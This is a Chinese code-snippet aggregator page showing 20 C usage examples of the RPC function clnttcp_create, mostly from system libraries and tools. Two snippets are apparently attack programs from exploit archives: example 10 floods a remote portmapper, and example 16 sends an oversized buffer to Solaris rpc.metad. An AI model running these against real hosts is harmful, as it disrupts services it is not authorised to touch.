本文整理汇总了C++中clnttcp_create函数的典型用法代码示例。如果您正苦于以下问题:C++ clnttcp_create函数的具体用法?C++ clnttcp_create怎么用?C++ clnttcp_create使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。
在下文中一共展示了clnttcp_create函数的20个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于我们的系统推荐出更棒的C++代码示例。
示例1: pmap_getmaps
/*
* Get a copy of the current port maps.
* Calls the pmap service remotely to do get the maps.
*/
struct pmaplist *
pmap_getmaps (struct sockaddr_in *address)
{
struct pmaplist *head = (struct pmaplist *) NULL;
int _socket = -1;
struct timeval minutetimeout;
CLIENT *client;
minutetimeout.tv_sec = 60;
minutetimeout.tv_usec = 0;
address->sin_port = htons (PMAPPORT);
/* Don't need a reserved port to get ports from the portmapper. */
client = clnttcp_create (address, PMAPPROG,
PMAPVERS, &_socket, 50, 500);
if (client != (CLIENT *) NULL)
{
if (CLNT_CALL (client, PMAPPROC_DUMP, (xdrproc_t)xdr_void, NULL,
(xdrproc_t)xdr_pmaplist, (caddr_t)&head,
minutetimeout) != RPC_SUCCESS)
{
clnt_perror (client, _("pmap_getmaps rpc problem"));
}
CLNT_DESTROY (client);
}
/* (void)close(_socket); CLNT_DESTROY already closed it */
address->sin_port = 0;
return head;
}
开发者ID:jgoldfar,项目名称:uClibc,代码行数:33,代码来源:pm_getmaps.c
示例2: pmap_unset
/*
* Remove the mapping between program,version and port.
* Calls the pmap service remotely to do the un-mapping.
*/
bool_t
pmap_unset(
unsigned long program,
unsigned long version)
{
struct sockaddr_in myaddress;
int sockfd = -1;
register CLIENT *client;
struct pmap parms;
bool_t rslt;
get_myaddress(&myaddress);
client = clnttcp_create(&myaddress, PMAPPROG, PMAPVERS,
&sockfd, 0, 0);
if (client == (CLIENT *)NULL)
return (FALSE);
parms.pm_prog = program;
parms.pm_vers = version;
parms.pm_port = parms.pm_prot = 0;
if (CLNT_CALL(client, PMAPPROC_UNSET, xdr_pmap, &parms, xdr_bool, &rslt,
tottimeout) != RPC_SUCCESS) {
clnt_perror(client, "pmap_unset: Cannot unregister service");
rslt = FALSE;
}
CLNT_DESTROY(client);
return (rslt);
}
开发者ID:KeithLatteri,项目名称:awips2,代码行数:31,代码来源:pmap_clnt.c
示例3: pmap_getmaps
/*
* Get a copy of the current port maps.
* Calls the pmap service remotely to do get the maps.
*/
struct pmaplist *
pmap_getmaps(struct sockaddr_in *address)
{
struct pmaplist *head = NULL;
int sock = -1;
struct timeval minutetimeout;
CLIENT *client;
assert(address != NULL);
minutetimeout.tv_sec = 60;
minutetimeout.tv_usec = 0;
address->sin_port = htons(PMAPPORT);
client = clnttcp_create(address, PMAPPROG,
PMAPVERS, &sock, 50, 500);
if (client != NULL) {
if (CLNT_CALL(client, (rpcproc_t)PMAPPROC_DUMP,
(xdrproc_t)xdr_void, NULL,
(xdrproc_t)xdr_pmaplist, &head, minutetimeout) !=
RPC_SUCCESS) {
clnt_perror(client, "pmap_getmaps rpc problem");
}
CLNT_DESTROY(client);
}
address->sin_port = 0;
return (head);
}
开发者ID:alexandermerritt,项目名称:dragonfly,代码行数:31,代码来源:pmap_getmaps.c
示例4: pmap_getmaps
/*
* Get a copy of the current port maps.
* Calls the pmap service remotely to do get the maps.
*/
struct pmaplist *
pmap_getmaps (struct sockaddr_in *address)
{
struct pmaplist *head = (struct pmaplist *) NULL;
struct timeval minutetimeout;
CLIENT *client;
bool closeit = false;
minutetimeout.tv_sec = 60;
minutetimeout.tv_usec = 0;
address->sin_port = htons (PMAPPORT);
/* Don't need a reserved port to get ports from the portmapper. */
int socket = __get_socket (address);
if (socket != -1)
closeit = true;
client = clnttcp_create (address, PMAPPROG, PMAPVERS, &socket, 50, 500);
if (client != (CLIENT *) NULL)
{
if (CLNT_CALL (client, PMAPPROC_DUMP, (xdrproc_t)xdr_void, NULL,
(xdrproc_t)xdr_pmaplist, (caddr_t)&head,
minutetimeout) != RPC_SUCCESS)
{
clnt_perror (client, _("pmap_getmaps.c: rpc problem"));
}
CLNT_DESTROY (client);
}
/* We only need to close the socket here if we opened it. */
if (closeit)
close_not_cancel (socket);
address->sin_port = 0;
return head;
}
开发者ID:AubrCool,项目名称:glibc,代码行数:38,代码来源:pm_getmaps.c
示例5: up7_ensureClientTransport
/**
* Ensures the existence of a client-side transport on the TCP connection.
*
* @param[in] xprt Server-side RPC transport.
* @retval true Success.
* @retval false System error. `log_start()` called.
*/
static bool
up7_ensureClientTransport(
struct SVCXPRT* const xprt)
{
bool status;
if (NULL == clnt) {
/*
* Create a client-side RPC transport on the TCP connection.
*/
do {
clnt = clnttcp_create(&xprt->xp_raddr, LDMPROG, SEVEN,
&xprt->xp_sock, MAX_RPC_BUF_NEEDED, 0);
/* TODO: adjust sending buffer size in above */
} while (clnt == NULL && rpc_createerr.cf_stat == RPC_TIMEDOUT);
if (clnt == NULL ) {
LOG_START2("Couldn't create client-side transport to downstream LDM-7 on "
"%s%s", hostbyaddr(&xprt->xp_raddr), clnt_spcreateerror(""));
status = false;
}
else {
status = true;
}
}
return status;
}
开发者ID:bradh,项目名称:LDM,代码行数:35,代码来源:up7.c
示例6: nfs4_program_4
void
nfs4_program_4(char *host)
{
CLIENT *clnt;
struct sockaddr_in sa;
int sock = RPC_ANYSOCK;
memset(&sa, 0, sizeof(sa));
sa.sin_family = AF_INET;
sa.sin_port = htons(NFS_TEST_PORT);
inet_pton(AF_INET, "127.0.0.1", &(sa.sin_addr));
clnt = clnttcp_create (&sa, NFS4_PROGRAM, NFS_V4, &sock, 0, 0);
if (clnt == NULL) {
clnt_pcreateerror (host);
exit (1);
}
clnt->cl_auth = authunix_create_default();
test(clnt);
#if 0
out:
#endif
clnt_destroy (clnt);
}
开发者ID:jgarzik,项目名称:nfs4d,代码行数:27,代码来源:nfs4_prot_client.c
示例7: rpc_host_connect
static
int rpc_host_connect(CLIENT **rpc_client, const char *host)
{
int sock = RPC_ANYSOCK;
struct hostent *he;
struct sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(DEFAULT_PORT);
if ((he = gethostbyname(host)) == NULL) {
LOG_ERR("ERR_gethostbyname(%s): %s", host, hstrerror(h_errno));
return -1;
}
memcpy(&addr.sin_addr, he->h_addr_list[0], he->h_length);
*rpc_client = clnttcp_create(&addr,
GIGA_RPC_PROG, GIGA_RPC_VERSION,
&sock, 0, 0);
if (*rpc_client == NULL) {
LOG_ERR("ERR_rpc_conn: %s", clnt_spcreateerror((char*)host));
return -1;
}
return 0;
}
开发者ID:linpawslitap,项目名称:mds_scaling,代码行数:27,代码来源:connection.c
示例8: notify_1
void notify_1 ()
{
for (subscriber_list_iterator it = subscriber_list_begin (RD.subscribers);
it != 0; subscriber_list_iterator_next (&it))
{
if (!it->val->clnt)
{
struct sockaddr_in addr;
int sock = RPC_ANYSOCK;
CLIENT * clnt;
addr.sin_family = AF_INET;
addr.sin_port = htons (it->val->port);
addr.sin_addr.s_addr = htonl (INADDR_LOOPBACK);
clnt = clnttcp_create (&addr, S16_CONFIG_SUBSCRIBER_PROG,
S16_CONFIG_SUBSCRIBER_V1, &sock, 0, 0);
if (clnt == NULL)
{
clnt_pcreateerror ("localhost");
break;
}
it->val->clnt = clnt;
}
}
}
开发者ID:Roghetti,项目名称:ServiceManager,代码行数:26,代码来源:notify.c
示例9: get_export_list
/* returns NULL on error or no exports available */
exports get_export_list(char *hostname)
{
struct hostent *hp;
struct sockaddr_in server_addr;
int msock;
CLIENT *mclient;
exports exportlist;
enum clnt_stat clnt_stat;
struct timeval total_timeout;
struct timeval pertry_timeout;
/* get the servers address info all squared away */
if (inet_aton(hostname, (struct in_addr *) &server_addr.sin_addr.s_addr)) {
server_addr.sin_family = AF_INET;
} else {
if ((hp = gethostbyname(hostname)) == NULL) {
fprintf(stderr, "%s: can't get address for %s\n",
program_name, hostname);
return (NULL);
}
server_addr.sin_family = AF_INET;
memcpy(&server_addr.sin_addr, hp->h_addr, hp->h_length);
}
/* create a client object.
* first try a UDP client. if not
* possible, then fall back to * using UDP*/
server_addr.sin_port = 0;
msock = RPC_ANYSOCK;
if ((mclient = clnttcp_create(&server_addr,
MOUNTPROG, MOUNTVERS, &msock, 0, 0)) == NULL) {
server_addr.sin_port = 0;
msock = RPC_ANYSOCK;
pertry_timeout.tv_sec = 3;
pertry_timeout.tv_usec = 0;
if ((mclient = clntudp_create(&server_addr,
MOUNTPROG, MOUNTVERS, pertry_timeout,
&msock)) == NULL) {
clnt_pcreateerror("mount clntudp_create");
return (NULL);
}
}
mclient->cl_auth = authunix_create_default();
total_timeout.tv_sec = 20;
total_timeout.tv_usec = 0;
/* Ok, get a list of exports from the server */
memset(&exportlist, '\0', sizeof(exportlist));
clnt_stat = clnt_call(mclient, MOUNTPROC_EXPORT,
(xdrproc_t) xdr_void, NULL,
(xdrproc_t) xdr_exports, (caddr_t) & exportlist,
total_timeout);
if (clnt_stat != RPC_SUCCESS) {
clnt_perror(mclient, "rpc mount export");
return (NULL);
}
return (exportlist);
}
开发者ID:bryder,项目名称:bryder_autofs414,代码行数:60,代码来源:listmount.c
示例10: main
main(int argc, char *argv[]) {
if (argc < 2) {
printf("usage:%s <hostname>\n",argv[0]);
exit(1);
}
if (argc >2) { len=atoi(argv[2]); }
if (len > 1024) { len=1024; }
unsigned long PROGRAM=100000;
unsigned long VERSION=2;
struct hostent *hp;
struct sockaddr_in server_addr;
int sock = RPC_ANYSOCK;
register CLIENT *client;
enum clnt_stat clnt_stat;
struct timeval timeout;
timeout.tv_sec = 40;
timeout.tv_usec = 0;
if ((hp = gethostbyname(argv[1])) == NULL) {
printf("Can't resolve %s\n",argv[1]);
exit(0);
}
gethostname(myhost,255);
bcopy(hp->h_addr, (caddr_t)&server_addr.sin_addr,hp->h_length);
server_addr.sin_family = AF_INET;
server_addr.sin_port = 0;
if ((client = clnttcp_create(&server_addr,PROGRAM,VERSION,&sock,1024,1024)) == NULL) {
clnt_pcreateerror("clnttcp_create");
exit(0);
}
client->cl_auth = authunix_create(myhost, 0, 0, 0, NULL);
char *data = (char *) malloc(1024);
memset(data,0x0,strlen(data));
char *response = (char *) malloc(1024);
memset(response,0x0,strlen(response));
for (i = 0 ; i < len ; i++) {
memcpy(data+strlen(data),"1",1);
clnt_call(client,1,(xdrproc_t) xdr_wrapstring ,(char *) &data,(xdrproc_t) xdr_wrapstring,(char *) response,timeout);
}
clnt_call(client,4,(xdrproc_t) xdr_wrapstring ,(char *) &data,(xdrproc_t) xdr_wrapstring,(char *) response,timeout);
clnt_destroy(client);
close(sock);
free(data);
free(response);
exit(0);
}
开发者ID:AlexxNica,项目名称:exploit-database,代码行数:59,代码来源:1815.c
示例11: clnt_create
/*
* Generic client creation: takes (hostname, program-number, protocol) and
* returns client handle. Default options are set, which the user can
* change using the rpc equivalent of ioctl()'s.
*/
CLIENT *
clnt_create(char *hostname, u_long prog, u_long vers, char *proto)
{
struct hostent *h;
struct protoent *p;
struct sockaddr_in sin;
int sock;
struct timeval tv;
CLIENT *client;
h = gethostbyname(hostname);
if (h == NULL) {
rpc_createerr.cf_stat = RPC_UNKNOWNHOST;
return (NULL);
}
if (h->h_addrtype != AF_INET) {
/*
* Only support INET for now
*/
rpc_createerr.cf_stat = RPC_SYSTEMERROR;
rpc_createerr.cf_error.re_errno = EAFNOSUPPORT;
return (NULL);
}
memset(&sin, 0, sizeof(sin));
sin.sin_len = sizeof(struct sockaddr_in);
sin.sin_family = h->h_addrtype;
sin.sin_port = 0;
memcpy((char*)&sin.sin_addr, h->h_addr, h->h_length);
p = getprotobyname(proto);
if (p == NULL) {
rpc_createerr.cf_stat = RPC_UNKNOWNPROTO;
rpc_createerr.cf_error.re_errno = EPFNOSUPPORT;
return (NULL);
}
sock = RPC_ANYSOCK;
switch (p->p_proto) {
case IPPROTO_UDP:
tv.tv_sec = 5;
tv.tv_usec = 0;
client = clntudp_create(&sin, prog, vers, tv, &sock);
if (client == NULL) {
return (NULL);
}
break;
case IPPROTO_TCP:
client = clnttcp_create(&sin, prog, vers, &sock, 0, 0);
if (client == NULL) {
return (NULL);
}
break;
default:
rpc_createerr.cf_stat = RPC_SYSTEMERROR;
rpc_createerr.cf_error.re_errno = EPFNOSUPPORT;
return (NULL);
}
return (client);
}
开发者ID:mzp,项目名称:frama-c-sample,代码行数:62,代码来源:clnt_generic.c
示例12: shibrpc_client_create
CLIENT *
shibrpc_client_create (ShibSocket sock, u_long program, u_long version)
{
struct sockaddr_in sin;
memset (&sin, 0, sizeof (sin));
sin.sin_port = 1;
return clnttcp_create (&sin, program, version, &sock, 0, 0);
}
开发者ID:svn2github,项目名称:cpp-sp,代码行数:10,代码来源:shib-rpcutil.c
示例13: connect_to_server
static CLIENT*
connect_to_server (struct sockaddr_in *addr) {
CLIENT *clnt;
int sockp = RPC_ANYSOCK;
clnt = clnttcp_create (addr, BAMBOO_DHT_GATEWAY_PROGRAM,
BAMBOO_DHT_GATEWAY_VERSION, &sockp, 0, 0);
if (clnt == NULL) {
clnt_pcreateerror ("create error");
exit (1);
}
return clnt;
}
开发者ID:eliasbaixas,项目名称:bamboo,代码行数:12,代码来源:gateway_test.c
示例14: main
int main(int argn, char *argc[])
{
//Program parameters : argc[1] : HostName or Host IP
// argc[2] : Server Program Number
// argc[3] : Number of testes function calls
// other arguments depend on test case
//run_mode can switch into stand alone program or program launch by shell script
//1 : stand alone, debug mode, more screen information
//0 : launch by shell script as test case, only one printf -> result status
int run_mode = 0;
int test_status = 1; //Default test result set to FAILED
int progNum = atoi(argc[2]);
CLIENT *clnt = NULL;
struct sockaddr_in server_addr;
struct hostent *hp = NULL;
int sock = RPC_ANYSOCK;
int nbCall = atoi(argc[3]);
int nbOk = 0;
int i;
//Test initialization
if ((hp = gethostbyname(argc[1])) == NULL) {
fprintf(stderr, "can't get addr for %s\n", argc[1]);
exit(-1);
}
bcopy(hp->h_addr, (caddr_t) & server_addr.sin_addr, hp->h_length);
server_addr.sin_family = AF_INET;
server_addr.sin_port = 0;
//First of all, create a client
for (i = 0; i < nbCall; i++) {
clnt =
clnttcp_create(&server_addr, progNum, VERSNUM, &sock, 0, 0);
if ((CLIENT *) clnt != NULL)
nbOk++;
}
//If we are here, macro call was successful
if (run_mode == 1) {
printf("Aimed : %d\n", nbCall);
printf("Got : %d\n", nbOk);
}
test_status = (nbOk == nbCall) ? 0 : 1;
//This last printf gives the result status to the tests suite
//normally should be 0: test has passed or 1: test has failed
printf("%d\n", test_status);
return test_status;
}
开发者ID:kraj,项目名称:ltp,代码行数:53,代码来源:rpc_clnttcp_create_stress.c
示例15: mkclient
static CLIENT *
mkclient(struct sockaddr_in *sin, unsigned long prog, unsigned long vers,
int tcp)
{
static struct timeval tv = { 10, 0 };
int fd = RPC_ANYSOCK;
if (tcp)
return clnttcp_create(sin, prog, vers, &fd, 0, 0);
else
return clntudp_create(sin, prog, vers, tv, &fd);
}
开发者ID:ryo,项目名称:netbsd-src,代码行数:12,代码来源:yppoll.c
示例16: main
main(int argc,char **argv) {
char buffer[30000],address[4],*b,*cmd;
int i,c,n,flag=1,vers=0,port=0,sck;
CLIENT *cl;
enum clnt_stat stat;
struct hostent *hp;
struct sockaddr_in adr;
struct timeval tm= {10,0};
req_t req;
printf("rpc.metad for solaris 10\n\n");
if(argc<2) {
printf("usage: %s address\n",argv[0]);
exit(-1);
}
printf("Using version %d and request no. %d!!\n", METAD_VERS, METAD_FUNC);
printf("timeout=%d ",ntohl(*(unsigned long*)address),tm.tv_sec);
fflush(stdout);
adr.sin_family=AF_INET;
adr.sin_port=htons(port);
if((adr.sin_addr.s_addr=inet_addr(argv[1]))==-1) {
if((hp=gethostbyname(argv[1]))==NULL) {
errno=EADDRNOTAVAIL;
perror("error");
exit(-1);
}
memcpy(&adr.sin_addr.s_addr,hp->h_addr,4);
}
sck=RPC_ANYSOCK;
if(!(cl=clnttcp_create(&adr,METAD_PROG,METAD_VERS,&sck,0,0))) {
clnt_pcreateerror("error");
exit(-1);
}
cl->cl_auth=authunix_create("localhost",0,0,0,NULL);
memset(buffer, 'A', sizeof(buffer)); //buffer can also be small,this is not a bufover
buffer[3000]=0;
req.string=buffer;
stat=clnt_call(cl,METAD_FUNC,xdr_req,&req,xdr_void,NULL,tm);
if(stat==RPC_SUCCESS) {
printf("\nerror: not vulnerable\n");
printf("sent!\n"); /* if(!flag) exit(0);*/
}
}
开发者ID:niubl,项目名称:Exploits-Archives,代码行数:52,代码来源:5258.c
示例17: yp_bind_host
CLIENT *
yp_bind_host(char *server, u_long program, u_long version, u_short port,
int usetcp)
{
struct sockaddr_in rsrv_sin;
static CLIENT *client;
struct hostent *h;
struct timeval tv;
int rsrv_sock;
memset(&rsrv_sin, 0, sizeof rsrv_sin);
rsrv_sin.sin_len = sizeof rsrv_sin;
rsrv_sin.sin_family = AF_INET;
rsrv_sock = RPC_ANYSOCK;
if (port != 0)
rsrv_sin.sin_port = htons(port);
if (*server >= '0' && *server <= '9') {
if (inet_aton(server, &rsrv_sin.sin_addr) == 0) {
fprintf(stderr, "inet_aton: invalid address %s.\n",
server);
exit(1);
}
} else {
h = gethostbyname(server);
if (h == NULL) {
fprintf(stderr, "gethostbyname: unknown host %s.\n",
server);
exit(1);
}
rsrv_sin.sin_addr.s_addr = *(u_int32_t *)h->h_addr;
}
tv.tv_sec = 10;
tv.tv_usec = 0;
if (usetcp)
client = clnttcp_create(&rsrv_sin, program, version,
&rsrv_sock, 0, 0);
else
client = clntudp_create(&rsrv_sin, program, version, tv,
&rsrv_sock);
if (client == NULL) {
fprintf(stderr, "clntudp_create: no contact with host %s.\n",
server);
exit(1);
}
return(client);
}
开发者ID:SylvestreG,项目名称:bitrig,代码行数:50,代码来源:yplib_host.c
示例18: gethostbyname
/*
* Generic client creation: takes (hostname, program-number, protocol) and
* returns client handle. Default options are set, which the user can
* change using the rpc equivalent of ioctl()'s.
*/
CLIENT *clnt_create (const char *hostname, const unsigned long prog,
const unsigned long vers, const char *proto)
{
int sock;
struct hostent *h;
struct sockaddr_in sin;
struct timeval tv;
CLIENT *client;
h = gethostbyname(hostname);
if (h == NULL) {
fprintf(stderr, "rpc : unknown host\n");
return (NULL);
}
if (h->h_addrtype != AF_INET) {
fprintf(stderr, "rpc : unknow inet\n");
return (NULL);
}
memset((char*)&sin,0,sizeof(sin));
sin.sin_family = h->h_addrtype;
sin.sin_port = 0;
memmove((char *) &sin.sin_addr, h->h_addr, h->h_length);
sock = -1;
if (strcmp(proto, "udp") == 0)
{
tv.tv_sec = 5;
tv.tv_usec = 0;
client = clntudp_create(&sin, prog, vers, tv, &sock);
if (client == NULL) return NULL;
clnt_control(client, CLSET_TIMEOUT, (char*)&tv);
}
else if (strcmp(proto, "tcp") == 0)
{
client = clnttcp_create(&sin, prog, vers, &sock, TCPMSGSIZE, TCPMSGSIZE); /* sylixos and TCPMSGSIZE */
if (client == NULL) {
return (NULL);
}
tv.tv_sec = 25;
tv.tv_usec = 0;
clnt_control(client, CLSET_TIMEOUT, &tv);
}
else
{
fprintf(stderr, "rpc : unknow protocol\n");
return NULL;
}
return (client);
}
开发者ID:Ga-vin,项目名称:libsylixos,代码行数:55,代码来源:clnt_generic.c
示例19: transform_dir
/*
* The routine transform_dir(path) transforms pathnames of directories
* mounted with the amd automounter to produce a more "natural" version.
* The automount table is obtained from the local amd via the rpc interface
* and reverse lookups are repeatedly performed on the directory name
* substituting the name of the automount link for the value of the link
* whenever it occurs as a prefix of the directory name.
*/
static char *
transform_dir(char *dir)
{
#ifdef DISK_HOME_HACK
char *ch;
#endif /* DISK_HOME_HACK */
char *server;
struct sockaddr_in server_addr;
int s = RPC_ANYSOCK;
CLIENT *clnt;
struct hostent *hp;
struct timeval tmo = {10, 0};
char *dummystr;
amq_string *spp;
#ifdef DISK_HOME_HACK
if (ch = hack_name(dir))
return ch;
#endif /* DISK_HOME_HACK */
#ifdef HAVE_CNODEID
server = cluster_server();
#else /* not HAVE_CNODEID */
server = localhost;
#endif /* not HAVE_CNODEID */
if ((hp = gethostbyname(server)) == NULL)
return dir;
memset(&server_addr, 0, sizeof(server_addr));
/* as per POSIX, sin_len need not be set (used internally by kernel) */
server_addr.sin_family = AF_INET;
server_addr.sin_addr = *(struct in_addr *) hp->h_addr;
clnt = clntudp_create(&server_addr, AMQ_PROGRAM, AMQ_VERSION, tmo, &s);
if (clnt == NULL)
clnt = clnttcp_create(&server_addr, AMQ_PROGRAM, AMQ_VERSION, &s, 0, 0);
if (clnt == NULL)
return dir;
xstrlcpy(transform, dir, sizeof(transform));
dummystr = transform;
spp = amqproc_pawd_1((amq_string *) &dummystr, clnt);
if (spp && *spp && **spp) {
xstrlcpy(transform, *spp, sizeof(transform));
XFREE(*spp);
}
clnt_destroy(clnt);
return transform;
}
开发者ID:enukane,项目名称:netbsd-src,代码行数:57,代码来源:pawd.c
示例20: create_tcp_client
/*
* Create a TCP RPC client using non-blocking connect
*/
static CLIENT* create_tcp_client(struct conn_info *info)
{
int fd;
CLIENT *client;
struct sockaddr_in addr;
struct hostent *hp;
int ret;
if (info->proto->p_proto != IPPROTO_TCP)
return NULL;
memset(&addr, 0, sizeof(addr));
hp = gethostbyname(info->host);
if (!hp)
return NULL;
addr.sin_family = AF_INET;
addr.sin_port = htons(info->port);
memcpy(&addr.sin_addr.s_addr, hp->h_addr, hp->h_length);
fd = socket(PF_INET, SOCK_STREAM, info->proto->p_proto);
if (fd < 0)
return NULL;
ret = connect_nb(fd, &addr, &info->timeout);
if (ret < 0)
goto out_close;
client = clnttcp_create(&addr,
info->program, info->version, &fd,
info->send_sz, info->recv_sz);
if (!client)
goto out_close;
/* Close socket fd on destroy, as is default for rpcowned fds */
if (!clnt_control(client, CLSET_FD_CLOSE, NULL)) {
clnt_destroy(client);
goto out_close;
}
return client;
out_close:
close(fd);
return NULL;
}
开发者ID:bryder,项目名称:bryder_autofs414,代码行数:50,代码来源:rpc_subs.c
注:本文中的clnttcp_create函数示例由纯净天空整理自Github/MSDocs等源码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。 |
请发表评论